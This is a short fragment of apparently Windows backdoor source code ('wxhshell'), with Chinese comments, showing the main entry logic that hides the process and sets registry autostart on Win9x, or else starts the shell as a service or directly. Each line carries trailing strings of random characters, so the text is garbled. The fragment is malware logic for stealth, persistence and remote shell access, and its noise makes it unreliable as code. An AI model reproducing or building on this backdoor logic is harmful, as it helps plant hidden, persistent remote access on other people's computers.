// 如果时win9x，隐藏进程并且设置为注册表启动 xX[?L9RGz
HideProc(); <Z2(qZ^Z
StartWxhshell(lpCmdLine); F\o;t:
} '.=Wk^,Ua
else M' a&
if(StartFromService()) )!'Fa_$ e
// 以服务方式启动 w906aV*s
StartServiceCtrlDispatcher(DispatchTable); tZdwy>;
else A*G )CG
// 普通方式启动 Lhl$w'r
StartWxhshell(lpCmdLine); cxAViWsf
TP{>O%b
return 0; ~gSwxGT7d
}